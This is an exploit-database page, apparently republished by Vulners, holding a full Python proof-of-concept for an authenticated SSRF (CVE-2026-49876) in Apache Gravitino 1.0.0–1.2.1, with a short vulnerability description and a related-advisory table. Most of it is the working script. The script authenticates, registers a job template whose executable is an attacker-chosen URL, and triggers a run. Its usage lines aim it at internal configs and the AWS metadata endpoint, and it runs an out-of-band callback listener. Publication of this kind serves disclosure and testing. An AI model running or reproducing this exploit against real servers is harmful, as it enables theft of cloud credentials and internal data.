Lucene search
+L

πŸ“„ Apache Gravitino 1.2.1 Server-Side Request Forgery

πŸ—“οΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Ajay RajpurohitTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 17Β Views

SSRF in Apache Gravitino 1.0.0-1.2.1 allows authenticated users to fetch internal URLs via job templates.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-49876
13 Jul 202604:10
–circl
cve
CVE
CVE-2026-49876
13 Jul 202608:45
–cve
cvelist
Cvelist
CVE-2026-49876 Apache Gravitino: Authenticated SSRF in Gravitino JobManager allows server-side HTTP requests to internal network and cloud metadata endpoints via unvalidated job template URIs
13 Jul 202608:45
–cvelist
exploitdb
Exploit DB
Apache Gravitino 1.2.1 - SSRF
11 Aug 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-43323
13 Jul 202608:45
–euvd
nvd
NVD
CVE-2026-49876
13 Jul 202610:16
–nvd
osv
OSV
PYSEC-2026-3442
13 Jul 202610:16
–osv
ptsecurity
Positive Technologies
PT-2026-57680
13 Jul 202600:00
–ptsecurity
pypa
PyPA
PYSEC-2026-3442
13 Jul 202610:16
–pypa
snyk
Snyk
Server-side Request Forgery (SSRF)
13 Jul 202610:16
–snyk
Rows per page
# Exploit Title: Apache Gravitino 1.2.1 - SSRF 
    # Google Dork: N/A
    # Date: 2026-07-13
    # Exploit Author: Ajay Rajpurohit
    # Vendor Homepage: https://gravitino.apache.org/
    # Software Link: https://github.com/apache/gravitino
    # Version: 1.0.0 - 1.2.1
    # Tested on: Ubuntu 22.04 LTS
    # CVE: CVE-2026-49876
    #
    # Description:
    #   A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
    #   versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
    #   JobManager.java processes URIs from job template fields (executable, scripts,
    #   jars, files, archives) without validating the destination. It accepts http,
    #   https, and ftp schemes and downloads remote content to the server's staging
    #   directory via FileUtils.copyURLToFile().
    #
    #   An authenticated attacker can:
    #     β€’ Register a job template with an internal/metadata URL as the executable
    #     β€’ Trigger a job run, forcing the server to fetch the URL
    #     β€’ Read the downloaded content from the staging directory (if accessible)
    #     β€’ Use OOB callbacks for blind SSRF detection
    #
    # References:
    #   CVE Record:    https://nvd.nist.gov/vuln/detail/CVE-2026-49876
    #   Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
    #   Fixing Commit:  https://github.com/apache/gravitino/commit/<commit-hash>
    #
    # --- Reproducibility ---
    #
    # Prerequisites:
    #   1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
    #   2. A valid Gravitino user account (any role with job template privileges)
    #   3. Python 3.8+ with `requests` library (pip3 install requests)
    #
    # Setup (if testing locally):
    #   wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
    #   tar xzf gravitino-1.2.0-bin.tar.gz
    #   cd gravitino-1.2.0-bin
    #   ./bin/gravitino.sh start
    #
    # Expected output:
    #   [+] Authenticated as <user>
    #   [+] Template 'ssrf-poc-xxxxxx' registered
    #   [+] Job triggered β€” SSRF request sent to http://127.0.0.1:8090/configs
    #   [+] SSRF confirmed β€” server fetched internal resource
    #
    # Usage:
    #   # Direct SSRF β€” fetch internal config
    #   python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
    #       --url http://127.0.0.1:8090/configs
    #
    #   # Cloud metadata (AWS IMDSv1)
    #   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
    #       --url http://169.254.169.254/latest/meta-data/
    #
    #   # Blind SSRF with OOB callback server
    #   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
    #       --url http://<your-ip>:8888/callback --oob --oob-port 8888
    #
    # Requirements:
    #   pip3 install requests
    #
    
    import argparse
    import base64
    import http.server
    import json
    import random
    import socketserver
    import string
    import sys
    import threading
    import time
    from datetime import datetime
    
    try:
        import requests
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    except ImportError:
        print("[!] Missing dependency. Install: pip3 install requests")
        sys.exit(1)
    
    
    # ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
    class CallbackHandler(http.server.BaseHTTPRequestHandler):
        """Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
        received = []
    
        def log_message(self, fmt, *args):
            return
    
        def _respond(self, method):
            body = b""
            cl = int(self.headers.get("Content-Length", 0))
            if cl > 0:
                body = self.rfile.read(min(cl, 4096))
            entry = {
                "time": datetime.now().isoformat(),
                "method": method,
                "path": self.path,
                "source": f"{self.client_address[0]}:{self.client_address[1]}",
                "user_agent": self.headers.get("User-Agent", ""),
            }
            CallbackHandler.received.append(entry)
            print(f"\n  [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
            print(f"      User-Agent: {entry['user_agent']}")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"OK")
    
        do_GET     = lambda s: s._respond("GET")
        do_POST    = lambda s: s._respond("POST")
        do_HEAD    = lambda s: s._respond("HEAD")
        do_PUT     = lambda s: s._respond("PUT")
        do_OPTIONS = lambda s: s._respond("OPTIONS")
    
    
    def start_oob_server(port: int) -> None:
        """Start a background HTTP server on the given port for OOB callbacks."""
        server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
        server.allow_reuse_address = True
        t = threading.Thread(target=server.serve_forever, daemon=True)
        t.start()
    
    
    # ─── Gravitino REST Client ─────────────────────────────────────────────────
    class Gravitino:
        """Minimal client for the Gravitino REST API β€” just enough for the PoC."""
    
        def __init__(self, base_url: str, username: str, password: str,
                     metalake: str = "metalake", verify: bool = False):
            self.base = base_url.rstrip("/")
            self.username = username
            self.password = password
            self.metalake = metalake
            self.s = requests.Session()
            self.s.verify = verify
    
        def login(self) -> bool:
            """Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
            # Try OAuth2
            try:
                r = self.s.post(
                    f"{self.base}/oauth2/token",
                    data={
                        "grant_type": "password",
                        "username": self.username,
                        "password": self.password,
                        "client_id": "gravitino_client",
                        "scope": "all",
                    },
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    timeout=15,
                )
                if r.status_code == 200:
                    token = r.json().get("access_token")
                    if token:
                        self.s.headers["Authorization"] = f"Bearer {token}"
                        print(f"[+] Authenticated via OAuth2 token")
                        return True
            except Exception:
                pass
    
            # Fallback: Basic auth
            creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
            self.s.headers["Authorization"] = f"Basic {creds}"
            try:
                r = self.s.get(f"{self.base}/api/version", timeout=10)
                if r.status_code == 200:
                    print(f"[+] Authenticated via Basic auth")
                    return True
            except Exception:
                pass
    
            print("[!] Authentication failed. Provide valid credentials (-u / -p).")
            return False
    
        def ensure_metalake(self) -> bool:
            """Create the metalake if it doesn't exist."""
            try:
                r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
                if r.status_code == 200:
                    return True
            except Exception:
                pass
            try:
                r = self.s.post(f"{self.base}/api/metalakes",
                                json={"name": self.metalake, "comment": "", "properties": {}},
                                timeout=10)
                if r.status_code in (200, 201, 409):
                    return True
            except Exception:
                pass
            # Proceed anyway β€” metalake may already exist under a different name
            return True
    
        def trigger_ssrf(self, ssrf_url: str) -> bool:
            """Register a job template with the SSRF URL and trigger execution."""
            name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
            print(f"[*] Registering template '{name}' with URL: {ssrf_url}")
    
            # Step 1: Register template
            template = {
                "name": name,
                "jobType": "shell",
                "executable": ssrf_url,
                "arguments": [],
            }
            try:
                r = self.s.post(
                    f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
                    json={"jobTemplate": template},
                    timeout=15,
                )
                if r.status_code not in (200, 201):
                    print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
                    return False
            except requests.RequestException as e:
                print(f"[!] Registration error: {e}")
                return False
    
            time.sleep(0.5)
    
            # Step 2: Trigger job run
            print(f"[*] Triggering job run...")
            try:
                r = self.s.post(
                    f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
                    json={"jobTemplateName": name},
                    timeout=15,
                )
                try:
                    body = r.json() if r.text else {}
                except ValueError:
                    body = {}
                if r.status_code == 200 and body.get("code") == 0:
                    print(f"[+] Job triggered β€” SSRF request sent")
                    return True
                else:
                    # Even on some errors, the SSRF may have fired
                    print(f"[*] Response: {r.status_code} {r.text[:200]}")
                    return r.status_code == 200
            except requests.RequestException as e:
                print(f"[!] Trigger error: {e}")
                return False
    
    
    # ─── Main ──────────────────────────────────────────────────────────────────
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-49876 β€” Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
            epilog="""
    Examples:
      %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
      %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
      %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
            """,
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        parser.add_argument("-t", "--target", required=True,
                            help="Gravitino server (e.g. http://127.0.0.1:8090)")
        parser.add_argument("-u", "--username", required=True, help="Username")
        parser.add_argument("-p", "--password", required=True, help="Password")
        parser.add_argument("--url", required=True,
                            help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
        parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
        parser.add_argument("--oob", action="store_true",
                            help="Start OOB callback server for blind SSRF detection")
        parser.add_argument("--oob-port", type=int, default=8888,
                            help="Port for OOB callback server (default: 8888)")
        parser.add_argument("--oob-wait", type=int, default=15,
                            help="Seconds to wait for OOB callbacks (default: 15)")
        parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    
        args = parser.parse_args()
    
        print(f"\n[*] CVE-2026-49876 β€” Apache Gravitino Authenticated SSRF")
        print(f"[*] Target: {args.target}")
        print(f"[*] SSRF URL: {args.url}\n")
    
        # Proxy
        if args.proxy:
            import os
            os.environ["HTTP_PROXY"] = args.proxy
            os.environ["HTTPS_PROXY"] = args.proxy
    
        # OOB callback server
        if args.oob:
            start_oob_server(args.oob_port)
            print(f"[*] OOB callback server listening on port {args.oob_port}")
    
        # Auth
        g = Gravitino(args.target, args.username, args.password, args.metalake)
        if not g.login():
            sys.exit(1)
    
        # Ensure metalake
        g.ensure_metalake()
    
        # Exploit
        success = g.trigger_ssrf(args.url)
    
        # Wait for OOB callbacks
        if args.oob:
            print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
            time.sleep(args.oob_wait)
            if CallbackHandler.received:
                print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) β€” SSRF confirmed")
                for cb in CallbackHandler.received:
                    print(f"    {cb['method']} {cb['path']} from {cb['source']}")
            else:
                print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")
    
        # Summary
        print(f"\n{'='*50}")
        print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
        print(f"{'='*50}\n")
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.16.5
EPSS0.00402
SSVC
17